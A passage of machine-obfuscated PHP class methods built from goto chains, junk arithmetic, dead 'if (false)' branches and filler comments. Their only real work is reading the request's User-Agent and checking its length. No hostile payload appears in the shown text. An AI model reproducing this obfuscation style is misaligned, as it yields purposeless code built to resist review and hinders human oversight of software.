goto FqDFdejY; FqDFdejY: /* JZLc6AQ2dAgwwZdBSHtn */ goto T1q34ym2; T1q34ym2: // 39GQX5iJLre0_K1m $BqYDw4sr = 523 + 37; $iX1geSuk = $BqYDw4sr * 4; goto smJL4cC3; smJL4cC3: /* w8DgCmmyQT2CRC1 */ $XsucffsH = 939 + 1; $iCjD65Pi = $XsucffsH * 3; goto ATJS_x68; ATJS_x68: goto cZt8BkzH; cZt8BkzH: return $XsucffsH > 10; } private function Tq6jcon6h9() { /* Vn5iCebPCy */ goto r7nVL4dA; r7nVL4dA: /* XcpydVlFIj */ goto a95kd0NBY; a95kd0NBY: goto a0gpBcrw5; a0gpBcrw5: // jTFNUKmgZX70neoO goto zrLi7KSv; zrLi7KSv: goto a35ibWBQ3; a35ibWBQ3: // MlHJ6zqYMjRi6IUc $a29IFo9lZ = 541 + 28; $Pe9zuJ4r = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto a8UJUdbNb; a8UJUdbNb: $BqYDw4sr = 569 + 30; $iX1geSuk = $BqYDw4sr * 3; goto rhJI_v1X; rhJI_v1X: /* A2nnK6sXRHFT0XT */ goto CV8uGI1z; CV8uGI1z: /* Security component */ $jIP39ari = 626 + 29; $FbaGmw5w = $jIP39ari * 4; goto lHap6EjQ; lHap6EjQ: /* UsOuSj3U0PqU8F5 */ goto a0tW2BRh8; a0tW2BRh8: goto E1wEAYx4; E1wEAYx4: /* OXubrtZxsq3p1hZ */ $n7sJ6WnP = 429 + 38; $NqlX8zGc = $n7sJ6WnP * 2; goto glfm7dj9; glfm7dj9: // GxV1GFpKHBxf goto H4zwyTWI; H4zwyTWI: if (false) { echo 'This is a dead end'; } goto VrC_JoUg; VrC_JoUg: goto l3LUJrzO; l3LUJrzO: goto a1wrgos1b; a1wrgos1b: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto WT8cMtTk; WT8cMtTk: $WWDcP6ib = 580 + 23; $n7sJ6WnP = $WWDcP6ib * 5; goto E2Xmwtt6; E2Xmwtt6: /* Core module */ goto a6uOvZuxc; a6uOvZuxc: /* vrcfPQA5cW */ goto o7tLVlOc; o7tLVlOc: goto bafsntR2; bafsntR2: /* System file */ $jIP39ari = 666 + 11; $a29IFo9lZ = $jIP39ari * 5; goto xcnpVzvQ; xcnpVzvQ: /* gVPgOIRT3ahS88pF5Piv */ goto msAvvYHi; msAvvYHi: /* API handler */ goto a3svpdqou; a3svpdqou: // 1lKRzFjJB26b $BqYDw4sr = 837 + 40; $a29IFo9lZ = $BqYDw4sr * 4; goto FutG6XzQ; FutG6XzQ: $bZa4iOd6 = 806 + 26; $n7sJ6WnP = $bZa4iOd6 * 5; goto iHKs4yeQ; iHKs4yeQ: /* LdwMCjIbgZ */ $bZa4iOd6 = 397 + 15; $a6EHyDbxg = $bZa4iOd6 * 2; goto wG_KZtfp; wG_KZtfp: /* Core module */ goto IzZeZyCj; IzZeZyCj: /* System file */ goto wa1sAIbk; wa1sAIbk: // LpUaKrCEmnhx goto riWbKk00; riWbKk00: // 7dhf563A if (false) { echo 'This is a dead end'; } goto lz2Kx5km; lz2Kx5km: $FbaGmw5w = 687 + 12; $n7sJ6WnP = $FbaGmw5w * 3; goto QB8wBsad; QB8wBsad: $NqlX8zGc = strlen($XsucffsH); goto LCtDxEGT; LCtDxEGT: // hL5nnTtD goto nKuqsGPV; nKuqsGPV: /* Security component */ $iX1geSuk = 511 + 9; $a6EHyDbxg = $iX1geSuk * 2; goto a1yFv7tXy; a1yFv7tXy: goto IyhlPjVC; IyhlPjVC: /* System file */ $jIP39ari = 768 + 16; $jIP39ari = $jIP39ari * 4; goto DU1edLcL; DU1edLcL: /* A2rfLEQo_b */ goto bPjNknK7; bPjNknK7: if (false) { echo 'This is a dead end'; } goto CZFkH9ho; CZFkH9ho: if (false) { echo 'This is a dead end'; } goto a0PtNqvWe; a0PtNqvWe: $n7sJ6WnP = 936 + 6; $n7sJ6WnP = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto sYMx14Lw; sYMx14Lw: goto v34JE3Hw; v34JE3Hw: /* API handler */ goto pUcDpze1; pUcDpze1: /* Security component */ goto vy4klAiv; vy4klAiv: if (false) { echo 'This is a dead end'; } goto dZKTR6Xm; dZKTR6Xm: $a6EHyDbxg = 864 + 43; $a6EHyDbxg = $a6EHyDbxg * 2; goto WtG450Eh; WtG450Eh: /* Core module */ goto a1hV7ec7N; a1hV7ec7N: // fIKp7bdw $a6b9oay5s = 360 + 42; $iX1geSuk = $a6b9oay5s * 2; goto UTepBevp; UTepBevp: return $NqlX8zGc > 10; } private function vwlbmsFXuB() { /* I2vmDUb_A_JVIqG */ goto SVciKumv; SVciKumv: /* HD0RcP080Yw7XoRP0l7t */ $jIP39ari = 517 + 18; $jIP39ari = $jIP39ari * 4; goto aGdVagEW; aGdVagEW: goto QDcRoCbW; QDcRoCbW: $jIP39ari = 950 + 21; $a29IFo9lZ = $jIP39ari * 1; goto SL5XfjcS; SL5XfjcS: goto uFOqVH9P; uFOqVH9P: $FbaGmw5w = 921 + 8; $NqlX8zGc = $FbaGmw5w * 1; goto TtV_jUvY; TtV_jUvY: goto a5N5kr9se; a5N5kr9se: /* API handler */ $a6EHyDbxg = 220 + 18; $a29IFo9lZ = $a6EHyDbxg * 1; goto m6Pr0B2k; m6Pr0B2k: if (false) { echo 'This is a dead end'; } goto IX6ijk6i; IX6ijk6i: /* System file */ goto iCURDHla; iCURDHla: /* System file */ goto MA4iv6H5; MA4iv6H5: /* Security component */ goto UU4NMGhk; UU4NMGhk: goto r88WzwrE; r88WzwrE: $WWDcP6ib = 890 + 50; $a6b9oay5s = $WWDcP6ib * 3; goto eWxWHYvR; eWxWHYvR: $WWDcP6ib = 489 + 6; $BqYDw4sr = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto mIfJhwt3; mIfJhwt3: /* Security component */ goto TlEN42hQ; TlEN42hQ: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Wt6FD4Ah; Wt6FD4Ah: /* fbDuvmELQnUMC_iV4236 */ goto woCA6WP2; woCA6WP2: // OEea5jTD29OuEMCe goto wxUTJfEJ; wxUTJfEJ: if (false) { echo 'This is a dead end'; } goto OVRKOIyM; OVRKOIyM: goto ONDLxXdS; ONDLxXdS: /* API handler */ goto FYK7DGPl; FYK7DGPl: /* System file */ goto R8K796Qb; R8K796Qb: goto pz2lgRIH; pz2lgRIH: goto gvqeaeey; gvqeaeey: $FbaGmw5w = 734 + 10; $Pe9zuJ4r = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto VxTiI7wF; VxTiI7wF: /* HD3GLisbB1 */ goto a1kZrBA_Z; a1kZrBA_Z: $a6b9oay5s = 361 + 49; $FbaGmw5w = $a6b9oay5s * 4; goto djsSnah3; djsSnah3: /* lx84Gb8uIPeILRYDHoIf */ goto CSkKV141; CSkKV141: /* V3y2HFWdWQ */ if (false) { echo 'This is a dead end'; } goto JujwVyOZ; JujwVyOZ: /* xil1w4WI6h */ goto vFPeHN6H; vFPeHN6H: goto BEe7Ixu2; BEe7Ixu2: $XsucffsH = strlen($FbaGmw5w); goto Myk2zWMM; Myk2zWMM: goto r0d1inJl; r0d1inJl: goto a8qtDTewZ; a8qtDTewZ: /* Main service */ $jIP39ari = 723 + 47; $n7sJ6WnP = $jIP39ari * 1; goto SsKNxYmk; SsKNxYmk: /* Core module */ $n7sJ6WnP = 817 + 47; $bZa4iOd6 = $n7sJ6WnP * 1; if (false) { echo 'This is a dead end'; } goto WHUv6riD; WHUv6riD: goto KL4OW0nv; KL4OW0nv: /* System file */ goto w47UIEmw; w47UIEmw: // z0OAE8RM $a6EHyDbxg = 165 + 3; $n7sJ6WnP = $a6EHyDbxg * 5; goto a45hUk8T4; a45hUk8T4: /* Core module */ $a29IFo9lZ = 311 + 31; $BqYDw4sr = $a29IFo9lZ * 5; goto f521qtZG; f521qtZG: /* Core module */ goto a79ezMcBc; a79ezMcBc: $iX1geSuk = 104 + 17; $jIP39ari = $iX1geSuk * 5; goto nujzf3FU; nujzf3FU: goto mHkCxGuS; mHkCxGuS: /* xc3_f7qQSR */ $B9ma2fmF = 540 + 48; $n7sJ6WnP = $B9ma2fmF * 5; if (false) { echo 'This is a dead end'; } goto gwi6yT36; gwi6yT36: goto g0VgRCqM; g0VgRCqM: goto PBye1c70; PBye1c70: goto Tc7pP_d6; Tc7pP_d6: return $XsucffsH > 10; } private function JEOq5aPHF1() { goto dyWLLvMy; dyWLLvMy: goto nYhIeuyX; nYhIeuyX: goto pfy2IKIM; pfy2IKIM: $WWDcP6ib = 165 + 10; $XsucffsH = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto MpywoCZm; MpywoCZm: /* Main service */ goto QxK623YS; QxK623YS: // oDniBlI8WAWh goto yasBzNIU; yasBzNIU: goto GKWGyDdv; GKWGyDdv: /* tOyT1zJ2FcET9YuRPuej */ goto WGNy1Jf4; WGNy1Jf4: if (false) { echo 'This is a dead end'; } goto W7wGaqXQ; W7wGaqXQ: /* Core module */ goto Dv0blJMs; Dv0blJMs: goto J4zxWDEZ; J4zxWDEZ: goto BzjqKT_k; BzjqKT_k: goto a4SrjHpTL; a4SrjHpTL: goto a_GWEZ80D; a_GWEZ80D: goto GM8FrlHb; GM8FrlHb: /* yfn2wxbMMI */ goto sDDab49W; sDDab49W: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a1TfwRYhJ; a1TfwRYhJ: /* API handler */ goto urDQqQYG; urDQqQYG: // lKdg8zDEe39d $n7sJ6WnP = 767 + 12; $iCjD65Pi = $n7sJ6WnP * 4; goto gju7Y3iK; gju7Y3iK: /* API handler */ goto a_QnsGYwP; a_QnsGYwP: goto fuJWNlUH; fuJWNlUH: goto SWxUlmvG; SWxUlmvG: $NqlX8zGc = 272 + 10; $BqYDw4sr = $NqlX8zGc * 1; goto Np3pmTlp; Np3pmTlp: /* System file */ goto EPXHb868; EPXHb868: // 0rj3uMBKiRjhhNBt $WWDcP6ib = 830 + 1; $Pe9zuJ4r = $WWDcP6ib * 4; goto a7eY5BTTU; a7eY5BTTU: goto DdpHJv5C; DdpHJv5C: $Pe9zuJ4r = 931 + 20; $NqlX8zGc = $Pe9zuJ4r * 2; goto wf9WU4V7; wf9WU4V7: goto YHQUlv2W; YHQUlv2W: goto ydmuGPAh; ydmuGPAh: goto y6PMLdXo; y6PMLdXo: $BqYDw4sr = 398 + 46; $XsucffsH = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto NEAfB45s; NEAfB45s: /* Core module */ $a6b9oay5s = 827 + 9; $FbaGmw5w = $a6b9oay5s * 2; goto efRRaOwO; efRRaOwO: $Pe9zuJ4r = strlen($FbaGmw5w); goto a259CVnTx; a259CVnTx: $NqlX8zGc = 787 + 20; $a6b9oay5s = $NqlX8zGc * 3; goto fbbhNg1z; fbbhNg1z: goto engzb6AQ; engzb6AQ: if (false) { echo 'This is a dead end'; } goto a2Ut2x1Cz; a2Ut2x1Cz: /* Security component */ $a29IFo9lZ = 933 + 10; $BqYDw4sr = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto RQOVfYNE; RQOVfYNE: goto HgsBaQfK; HgsBaQfK: goto a06nTELMm; a06nTELMm: $iX1geSuk = 236 + 9; $XsucffsH = $iX1geSuk * 2; goto vBDPVI2f; vBDPVI2f: goto cbVs1RDK; cbVs1RDK: goto l4s4YogF; l4s4YogF: $iCjD65Pi = 127 + 1; $iX1geSuk = $iCjD65Pi * 1; goto yYxigdL2; yYxigdL2: goto c7IhxpUO; c7IhxpUO: if (false) { echo 'This is a dead end'; } goto RYlFHEyZ; RYlFHEyZ: goto L7nCg6xq; L7nCg6xq: /* Security component */ goto sf_Dqdga; sf_Dqdga: goto TD5jdKVa; TD5jdKVa: return $Pe9zuJ4r > 10; } private function wPlJx9GKeu() { /* Security component */ goto uWkJ9vYz; uWkJ9vYz: goto a2jo32f3h; a2jo32f3h: /* Security component */ $NqlX8zGc = 907 + 40; $NqlX8zGc = $NqlX8zGc * 1; goto d_07csW6; d_07csW6: /* System file */ goto mF8U1zwM; mF8U1zwM: /* Security component */ goto KjxGyxNm; KjxGyxNm: /* byNB7js02SKmDwQfgyoI */ $n7sJ6WnP = 455 + 15; $NqlX8zGc = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto vVQt0SXK; vVQt0SXK: /* zaxLQnTSm2 */ $B9ma2fmF = 282 + 32; $Pe9zuJ4r = $B9ma2fmF * 3; goto a2NundwiU; a2NundwiU: // V7EiXfvjnvEI goto ykanIiWS; ykanIiWS: /* Core module */ if (false) { echo 'This is a dead end'; } goto GKGQKHpL; GKGQKHpL: /* UIDkdx_A4o */ goto a08LpUPvO; a08LpUPvO: /* yhPmdiBA6RkjrZ6 */ $B9ma2fmF = 380 + 10; $jIP39ari = $B9ma2fmF * 5; goto WBLPzIkd; WBLPzIkd: // pVCKhukMqLTW if (false) { echo 'This is a dead end'; } goto lT5MvLQp; lT5MvLQp: /* Security component */ $jIP39ari = 819 + 20; $n7sJ6WnP = $jIP39ari * 2; goto gXaB5y9O; gXaB5y9O: // _yr8bIP8 goto UzTXhXnI; UzTXhXnI: /* API handler */ goto o0k6gUHs; o0k6gUHs: goto rEbNtn8w; rEbNtn8w: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a4SZL77cK; a4SZL77cK: // IR3SaXKR goto oULyB4d6; oULyB4d6: /* Security component */ $iX1geSuk = 335 + 3; $iX1geSuk = $iX1geSuk * 3; goto a8O3FoeBt; a8O3FoeBt: if (false) { echo 'This is a dead end'; } goto YoivkkWc; YoivkkWc: goto eQVwLwXb; eQVwLwXb: $iX1geSuk = 151 + 4; $WWDcP6ib = $iX1geSuk * 2; goto wc3Vu7NU; wc3Vu7NU: goto NRAst9QD; NRAst9QD: goto aoqJykOS; aoqJykOS: goto PWU6GWlV; PWU6GWlV: /* kuLxo8wwmsnzjOvvQjqr */ goto a6kVDChLj; a6kVDChLj: // hhjJByiD7SeD goto Eilme5rm; Eilme5rm: /* iJOuAOaWcc */ goto RouNIGqx; RouNIGqx: $FbaGmw5w = 511 + 35; $a6EHyDbxg = $FbaGmw5w * 2; goto xJdZOvqr; xJdZOvqr: goto PE_AOvzS; PE_AOvzS: if (false) { echo 'This is a dead end'; } goto DlpJq9jO; DlpJq9jO: /* Main service */ $n7sJ6WnP = 372 + 31; $bZa4iOd6 = $n7sJ6WnP * 4; goto oJXSNXRy; oJXSNXRy: $jIP39ari = strlen($NqlX8zGc); goto tkGLF7uy; tkGLF7uy: // kDJDsLWREUOyURFJ goto Iy3Wcge0; Iy3Wcge0: if (false) { echo 'This is a dead end'; } goto AR1aSHdS; AR1aSHdS: /* NjN88daTsL */ $jIP39ari = 950 + 23; $iCjD65Pi = $jIP39ari * 1; goto p68qXLuN; p68qXLuN: // akjGHCPl goto PZ2jXDos; PZ2jXDos: /* System file */ goto xnmmYhJ4; xnmmYhJ4: /* System file */ if (false) { echo 'This is a dead end'; } goto JMVPcYJg; JMVPcYJg: // NN1swVfX $Pe9zuJ4r = 314 + 18; $a6b9oay5s = $Pe9zuJ4r * 3; goto ch4db_mV; ch4db_mV: goto PeUG_uEu; PeUG_uEu: /* 4_m8lp5AoEFKPHa_Iq65 */ goto KV5G8Ni8; KV5G8Ni8: $WWDcP6ib = 271 + 12; $WWDcP6ib = $WWDcP6ib * 3; goto JggdR2AC; JggdR2AC: // 9laqCyin $a6EHyDbxg = 858 + 43; $a6EHyDbxg = $a6EHyDbxg * 5; goto Iciox9JO; Iciox9JO: // cWeDBbu9mOjw $WWDcP6ib = 681 + 16; $WWDcP6ib = $WWDcP6ib * 4; goto eRyZYU0M; eRyZYU0M: /* MPaQ9SuuztqM679 */ if (false) { echo 'This is a dead end'; } goto EAbgThUA; EAbgThUA: /* 9t6YnCSB34SyNwc */ $bZa4iOd6 = 141 + 50; $XsucffsH = $bZa4iOd6 * 5; goto ZKloSZC6; ZKloSZC6: /* Core module */ if (false) { echo 'This is a dead end'; } goto tUsOWhZw; tUsOWhZw: return $jIP39ari > 10; } private function Qm0AIs_fNS() { goto qsbr6ksG; qsbr6ksG: $jIP39ari = 774 + 12; $iX1geSuk = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto kJIwUEfe; kJIwUEfe: goto uuD1_XKq; uuD1_XKq: /* Core module */ if (false) { echo 'This is a dead end'; } goto XqAujZfh; XqAujZfh: // hMYfkkwv goto cNJ2qZAL; cNJ2qZAL: /* Security component */ if (false) { echo 'This is a dead end'; } goto n2im6rUT; n2im6rUT: goto NICUc6PD; NICUc6PD: $iCjD65Pi = 268 + 42; $NqlX8zGc = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto ATBASNak; ATBASNak: goto oM4d9wES; oM4d9wES: goto DCjbsLaa; DCjbsLaa: goto P9NQq6qr; P9NQq6qr: goto R0RW765_; R0RW765_: /* Main service */ goto cIVYZvrd; cIVYZvrd: /* x3wg14_Bf4D5Ib9 */ $jIP39ari = 438 + 46; $a6EHyDbxg = $jIP39ari * 5; goto NVy111Mm; NVy111Mm: /* clc_ApfIl2FYfcYjiUGC */ $n7sJ6WnP = 386 + 24; $iCjD65Pi = $n7sJ6WnP * 2; goto t8woGoqO; t8woGoqO: goto YZqaHx_T; YZqaHx_T: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto bu7DQhrS; bu7DQhrS: /* tZIk_qnx1cPcba0 */ $jIP39ari = 369 + 13; $a29IFo9lZ = $jIP39ari * 2; goto ogWGabVa; ogWGabVa: $bZa4iOd6 = 398 + 11; $a29IFo9lZ = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto E5pUZ0Sy; E5pUZ0Sy: $jIP39ari = 286 + 23; $NqlX8zGc = $jIP39ari * 3; goto knKdoqto; knKdoqto: goto KA7YViBR; KA7YViBR: /* MCy5NZPQaP */ goto fWpiaoQ7; fWpiaoQ7: goto Fcd1Kg8P; Fcd1Kg8P: goto G7A_zbif; G7A_zbif: // _15Jby45 goto yiTWdYO4; yiTWdYO4: /* Security component */ goto Mfp_fXrv; Mfp_fXrv: $WWDcP6ib = 366 + 12; $WWDcP6ib = $WWDcP6ib * 3; goto a1nU1etQw; a1nU1etQw: if (false) { echo 'This is a dead end'; } goto Ri9gJdBY; Ri9gJdBY: goto eFyEdWBW; eFyEdWBW: /* 45Y4qCbOv79vV_KhLBkB */ if (false) { echo 'This is a dead end'; } goto g7RDlQBu; g7RDlQBu: goto GjzYchtL; GjzYchtL: if (false) { echo 'This is a dead end'; } goto Evw7yRu3; Evw7yRu3: $FbaGmw5w = strlen($FbaGmw5w); goto b3K59ZMR; b3K59ZMR: goto a_zGbKnPV; a_zGbKnPV: if (false) { echo 'This is a dead end'; } goto PsvkP5Eo; PsvkP5Eo: // 0_lysMxl goto eUW_z9la; eUW_z9la: /* Security component */ if (false) { echo 'This is a dead end'; } goto a1cEdGX_T; a1cEdGX_T: /* ylqUcOshfJ4GuJG */ $jIP39ari = 202 + 6; $BqYDw4sr = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto jsdHu494; jsdHu494: $BqYDw4sr = 347 + 23; $bZa4iOd6 = $BqYDw4sr * 2; goto a40fltXaC; a40fltXaC: $n7sJ6WnP = 493 + 11; $NqlX8zGc = $n7sJ6WnP * 1; goto Efa580Q7; Efa580Q7: goto lhDiOjbE; lhDiOjbE: $iCjD65Pi = 566 + 21; $Pe9zuJ4r = $iCjD65Pi * 2; goto gnxqXOiV; gnxqXOiV: $a29IFo9lZ = 858 + 30; $iX1geSuk = $a29IFo9lZ * 4; goto C1jvwGhC; C1jvwGhC: /* Main service */ if (false) { echo 'This is a dead end'; } goto CaKObZWn; CaKObZWn: /* API handler */ goto W6SMnbQP; W6SMnbQP: /* lHcJwCyXcg */ $NqlX8zGc = 746 + 18; $a6b9oay5s = $NqlX8zGc * 1; goto A00HMtoc; A00HMtoc: $iCjD65Pi = 593 + 6; $B9ma2fmF = $iCjD65Pi * 3; goto I_ZAqezQ; I_ZAqezQ: $bZa4iOd6 = 623 + 37; $B9ma2fmF = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto z_kJmOaR; z_kJmOaR: return $FbaGmw5w > 10; } private function g1x6Ac6Xr8() { goto a4Xfm09si; a4Xfm09si: /* sjXtgkghts */ goto a2fK_hN9H; a2fK_hN9H: goto lmbpGa9s; lmbpGa9s: /* API handler */ goto N66LDYnD; N66LDYnD: // WGIPxLsX7iDhWLxj $WWDcP6ib = 145 + 18; $iCjD65Pi = $WWDcP6ib * 3; goto hpPCuHNB; hpPCuHNB: // m4lz0oehVjAKRTdu if (false) { echo 'This is a dead end'; } goto NGSaLrmP; NGSaLrmP: goto wBI_P5G8; wBI_P5G8: $jIP39ari = 290 + 38; $WWDcP6ib = $jIP39ari * 5; goto sFhrx1cV; sFhrx1cV: $XsucffsH = 304 + 11; $jIP39ari = $XsucffsH * 1; goto a1YlP7jPd; a1YlP7jPd: goto a3bCUpzKx; a3bCUpzKx: $WWDcP6ib = 779 + 33; $a29IFo9lZ = $WWDcP6ib * 3; goto hMeuwMhp; hMeuwMhp: // LowMZZXT $a6b9oay5s = 460 + 8; $FbaGmw5w = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto kh0YjoHA; kh0YjoHA: // z5PPgFotNo9P $iX1geSuk = 573 + 1; $FbaGmw5w = $iX1geSuk * 1; goto a7BPaC6AV; a7BPaC6AV: $iCjD65Pi = 701 + 40; $Pe9zuJ4r = $iCjD65Pi * 1; goto a3Iisj2bk; a3Iisj2bk: $Pe9zuJ4r = 851 + 20; $XsucffsH = $Pe9zuJ4r * 5; if (false) { echo 'This is a dead end'; } goto n3iHg2BC; n3iHg2BC: goto eRDZ2SiQ; eRDZ2SiQ: $bZa4iOd6 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Pl75af1t; Pl75af1t: $Pe9zuJ4r = 902 + 26; $a6b9oay5s = $Pe9zuJ4r * 5; goto a_SSufVDH; a_SSufVDH: /* Core module */ goto V1d6mkY1; V1d6mkY1: /* Security component */ goto yvFrSq0g; yvFrSq0g: /* Ajc148lKHjqzT2B */ $a6b9oay5s = 896 + 38; $Pe9zuJ4r = $a6b9oay5s * 3; goto QLJeJZoG; QLJeJZoG: goto a7t5FOATj; a7t5FOATj: goto a_QdFFC2c; a_QdFFC2c: if (false) { echo 'This is a dead end'; } goto Ljz56PZB; Ljz56PZB: /* GqufDl3C8Vc0Lj_ */ $XsucffsH = 595 + 20; $a6EHyDbxg = $XsucffsH * 2; goto mcMhaO6v; mcMhaO6v: /* System file */ $Pe9zuJ4r = 664 + 9; $NqlX8zGc = $Pe9zuJ4r * 5; goto J3W2i03P; J3W2i03P: $BqYDw4sr = 664 + 27; $iX1geSuk = $BqYDw4sr * 1; goto F9LCEjyE; F9LCEjyE: $BqYDw4sr = 380 + 41; $FbaGmw5w = $BqYDw4sr * 5; goto ty_cwC2w; ty_cwC2w: goto eUIA22Yn; eUIA22Yn: /* Main service */ goto a93QkHyoA; a93QkHyoA: goto d30XASCG; d30XASCG: $FbaGmw5w = 606 + 42; $FbaGmw5w = $FbaGmw5w * 4; goto kuoKQl1L; kuoKQl1L: $n7sJ6WnP = strlen($bZa4iOd6); goto PQSvg2UW; PQSvg2UW: // 8oIh2zvtRa4mYgGt $WWDcP6ib = 896 + 42; $a6EHyDbxg = $WWDcP6ib * 5; goto ul1KXkYE; ul1KXkYE: /* ZeANLisIOm */ $B9ma2fmF = 554 + 35; $a6EHyDbxg = $B9ma2fmF * 3; goto a4I36bTep; a4I36bTep: $bZa4iOd6 = 822 + 43; $WWDcP6ib = $bZa4iOd6 * 2; goto a_IvsqOR8; a_IvsqOR8: if (false) { echo 'This is a dead end'; } goto RwuyGp44; RwuyGp44: if (false) { echo 'This is a dead end'; } goto gFx7rBnk; gFx7rBnk: goto E8zsHGKX; E8zsHGKX: goto P_WlROdG; P_WlROdG: goto a3BI8mpCK; a3BI8mpCK: if (false) { echo 'This is a dead end'; } goto ujMwI2yt; ujMwI2yt: goto Yqjk4r9K; Yqjk4r9K: /* System file */ goto a7_TscrR_; a7_TscrR_: goto a82WFq5EQ; a82WFq5EQ: $BqYDw4sr = 980 + 34; $n7sJ6WnP = $BqYDw4sr * 1; goto a2M61OvqR; a2M61OvqR: goto ughpv8tI; ughpv8tI: /* System file */ goto TyNR9Opv; TyNR9Opv: return $n7sJ6WnP > 10; } private function bVBgAyCOBZ() { goto gYWwIt_8; gYWwIt_8: // TJ75ugGSKRY1HMQ9 goto kQ92MLOG; kQ92MLOG: /* lQLz96SQ17 */ $a6EHyDbxg = 136 + 18; $B9ma2fmF = $a6EHyDbxg * 5; goto pMlV68fS; pMlV68fS: goto vaW7Ph5D; vaW7Ph5D: $BqYDw4sr = 532 + 29; $bZa4iOd6 = $BqYDw4sr * 1; goto a7tuhIOyM; a7tuhIOyM: /* rM5hi5SotD6P_hR */ goto CLslMYy0; CLslMYy0: goto frSAJRRX; frSAJRRX: goto Z4USayql; Z4USayql: /* System file */ goto uGlvbDti; uGlvbDti: goto saHIBcPW; saHIBcPW: /* Security component */ $a29IFo9lZ = 305 + 47; $B9ma2fmF = $a29IFo9lZ * 4; goto xThAW3Nl; xThAW3Nl: goto jc0zOgQH; jc0zOgQH: goto S59hUiRR; S59hUiRR: $a6EHyDbxg = 692 + 50; $a29IFo9lZ = $a6EHyDbxg * 4; goto MtPyg5Ed; MtPyg5Ed: // sZ4GkNRu goto xm3hZiSn; xm3hZiSn: $NqlX8zGc = 194 + 19; $bZa4iOd6 = $NqlX8zGc * 4; if (false) { echo 'This is a dead end'; } goto FhxouLmv; FhxouLmv: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto DY7q6GdC; DY7q6GdC: /* Main service */ $B9ma2fmF = 565 + 3; $WWDcP6ib = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto Y06doMCU; Y06doMCU: if (false) { echo 'This is a dead end'; } goto IBjTEtfB; IBjTEtfB: /* Security component */ if (false) { echo 'This is a dead end'; } goto ZC0kjS1L; ZC0kjS1L: // fPUzhdZH $iX1geSuk = 154 + 47; $bZa4iOd6 = $iX1geSuk * 3; goto x3D2UYpw; x3D2UYpw: $B9ma2fmF = 982 + 3; $iX1geSuk = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto uRjdJFSc; uRjdJFSc: /* EBNm_C7_XzOG0y1W_EmQ */ $iCjD65Pi = 515 + 14; $a6b9oay5s = $iCjD65Pi * 5; goto kvkCduox; kvkCduox: /* b14KqedVq5K_X3fmxOGI */ $bZa4iOd6 = 348 + 22; $FbaGmw5w = $bZa4iOd6 * 3; goto HW13uoDR; HW13uoDR: $iCjD65Pi = 868 + 27; $bZa4iOd6 = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto a4ABfCFhO; a4ABfCFhO: /* Core module */ goto IMkKA7PT; IMkKA7PT: goto a7ffSGVjI; a7ffSGVjI: goto shpYafQY; shpYafQY: goto a9qK_nn80; a9qK_nn80: /* 2QpgVWcFK0S12NR4Mj4h */ $a6EHyDbxg = 468 + 32; $FbaGmw5w = $a6EHyDbxg * 2; goto a9rjVso1A; a9rjVso1A: /* aAiC54guHU */ $XsucffsH = 207 + 13; $a6b9oay5s = $XsucffsH * 5; goto HbEWihbu; HbEWihbu: /* Core module */ goto Ko_sMij3; Ko_sMij3: $WWDcP6ib = strlen($B9ma2fmF); goto a_tV7qtxH; a_tV7qtxH: $n7sJ6WnP = 445 + 10; $n7sJ6WnP = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto TUpjSlHp; TUpjSlHp: // R2S0uql7E2KZ $B9ma2fmF = 840 + 16; $FbaGmw5w = $B9ma2fmF * 5; if (false) { echo 'This is a dead end'; } goto p1I5Slgv; p1I5Slgv: /* Core module */ goto jaz5eCWA; jaz5eCWA: /* System file */ goto G64fTrpg; G64fTrpg: /* Core module */ if (false) { echo 'This is a dead end'; } goto Yrst5GHG; Yrst5GHG: /* API handler */ goto JijcSELl; JijcSELl: // jBYWzqMSZ6zs goto UkcMIcIl; UkcMIcIl: if (false) { echo 'This is a dead end'; } goto gwaf7DTo; gwaf7DTo: if (false) { echo 'This is a dead end'; } goto MH0CGxK6; MH0CGxK6: /* 9_1xHmMURhsUbRo */ $iCjD65Pi = 432 + 47; $WWDcP6ib = $iCjD65Pi * 4; goto sGf5g2uL; sGf5g2uL: $a6b9oay5s = 150 + 9; $BqYDw4sr = $a6b9oay5s * 3; goto KW6aabYV; KW6aabYV: $BqYDw4sr = 995 + 33; $iX1geSuk = $BqYDw4sr * 4; goto wfS4dbcj; wfS4dbcj: goto bXNfOb2z; bXNfOb2z: /* Security component */ $NqlX8zGc = 913 + 30; $BqYDw4sr = $NqlX8zGc * 1; goto BMqosIZs; BMqosIZs: /* fETBPzBiYd */ goto wtFqmwYh; wtFqmwYh: return $WWDcP6ib > 10; } private function mVMNWoR0_l() { goto p2neGAdD; p2neGAdD: $n7sJ6WnP = 115 + 15; $WWDcP6ib = $n7sJ6WnP * 3; goto HhROM_Y5; HhROM_Y5: goto DkQFLd1S; DkQFLd1S: // uxQVst4zUvQiEvir 